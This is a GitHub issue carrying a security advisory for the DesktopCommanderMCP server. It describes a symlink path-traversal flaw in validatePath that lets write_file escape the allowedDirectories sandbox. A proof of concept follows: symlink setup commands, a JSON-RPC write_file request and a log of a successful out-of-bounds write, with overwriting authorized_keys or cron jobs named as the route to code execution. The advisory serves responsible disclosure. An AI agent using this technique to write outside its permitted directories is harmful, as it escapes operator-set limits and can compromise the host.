Skip to content

[Security] Sandbox Escape via Symlink Path Traversal in validatePath #420

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Sandbox Escape via Symlink Path Traversal in validatePath

Description:

Summary

An arbitrary file write vulnerability allows any user or agent with access to the MCP write_file tool to bypass the allowedDirectories sandbox restrictions. By exploiting a subtle flaw in how symlinks are handled for non-existent file paths, an attacker can write or overwrite any file on the host system, potentially leading to arbitrary code execution (RCE).

Details

The vulnerability originates in the validatePath function located in src/tools/filesystem.ts. This function is strictly responsible for confining all file operations (reads/writes) to the allowedDirectories whitelist.

When validatePath processes a new file path (e.g., when calling write_file), it first invokes fs.realpath to resolve the absolute physical path to defend against symlink-based traversal. However, if the target file does not yet exist, fs.realpath throws an ENOENT exception. The code catches this exception and simply swallows it:

        let resolvedRealPath: string | null = null;
        try {
            resolvedRealPath = await fs.realpath(absoluteOriginal, { encoding: 'utf8' });
        } catch (error) {
            const err = error as NodeJS.ErrnoException;
            if (!err.code || err.code !== 'ENOENT') { ... } // Swallows ENOENT, resolvedRealPath remains null
        }

Since resolvedRealPath remains null, the function falls back to checking the unverified absoluteOriginal path using a simple string-based prefix check in isPathAllowed().
If an attacker provides a path like /allowed/link/pwned.txt (where /allowed/ is an allowed directory, and link is a pre-existing symlink pointing to an unrestricted area like /etc/ or ~/.ssh/), the simple string check passes.
Finally, the validateParentDirectories function checks if the parent directory /allowed/link exists, which evaluates to true (because it resolves to the unrestricted area), but it tragically fails to verify if that actual resolved physical location falls within the allowedDirectories whitelist. Consequently, the sandboxing breaks and allows the attacker to write the file anywhere on the filesystem.

PoC

  1. Identify or create a symlink directory inside your allowedDirectories. For testing, create an allowed directory and soft-link a restricted directory into it:
    mkdir -p /tmp/poc/allowed /tmp/poc/restricted
    ln -s /tmp/poc/restricted /tmp/poc/allowed/link
  2. Start the DesktopCommander MCP server configured with /tmp/poc/allowed as its only allowed directory.
  3. Send a standard MCP JSON-RPC call targeting the symlink to establish a new file out of bounds:
    {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "write_file",
            "arguments": {
                "path": "/tmp/poc/allowed/link/pwned.txt",
                "content": "PWNED BY SYMLINK TRAVERSAL"
            }
        }
    }
  4. Verify that /tmp/poc/restricted/pwned.txt is created with the rogue content, bypassing the containment.

Log of Evidence

[➔] Sending: {"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "1.0.0"}}}
[←] Received: {"result": {"protocolVersion": "2024-11-05", "capabilities": {"tools": {}, "resources": {}, "prompts": {}, "logging": {}}, "serverInfo": {"name": "desktop-commander", "version": "0.2.37"}}, "jsonrpc": "2.0", "id": 1}
[➔] Sending: {"jsonrpc": "2.0", "method": "notifications/initialized"}
[*] Sending write_file command targeting: /tmp/poc_cve_2025_11489/allowed/link/pwned.txt
[➔] Sending: {"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "write_file", "arguments": {"path": "/tmp/poc_cve_2025_11489/allowed/link/pwned.txt", "content": "PWNED BY CVE-2025-11489 VARIANT"}}}
[←] Received: {"jsonrpc": "2.0", "method": "notifications/message", "params": {"level": "info", "logger": "desktop-commander", "data": "MCP fully initialized, all startup messages sent"}}
[←] Received: {"result": {"content": [{"type": "text", "text": "Successfully wrote 31 bytes to /tmp/poc_cve_2025_11489/allowed/link/pwned.txt"}], "isError": false}, "jsonrpc": "2.0", "id": 2}
[*] Server responded to tools/call!
========= EXPLOIT VERIFICATION =========
[SUCCESS] File was created outside allowed directory at: /tmp/poc_cve_2025_11489/restricted/pwned.txt
[SUCCESS] File contents: PWNED BY CVE-2025-11489 VARIANT

Impact

This is an Arbitrary File Write sandbox escape vulnerability. It allows any client interacting with the MCP interfaces to break out of the configured allowedDirectories guardrails. The attacker can overwrite core administrative files (e.g., cron jobs, authorized_keys, bash profiles) leading directly to Remote Code Execution (RCE) and full systemic compromise.

Affected products

  • Ecosystem: npm
  • Package name: DesktopCommanderMCP
  • Affected versions: All current versions
  • Patched versions:

Severity

  • Severity: Critical
  • Vector string: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Weaknesses

  • CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
  • CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink Description
https://github.com/chengazhen/desktop-commander/blob/main/src/tools/filesystem.ts#L192-L238 The validatePath mechanism swallowing ENOENT from fs.realpath and falling back to naive string resolution on symbolic links, dropping validation boundaries.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions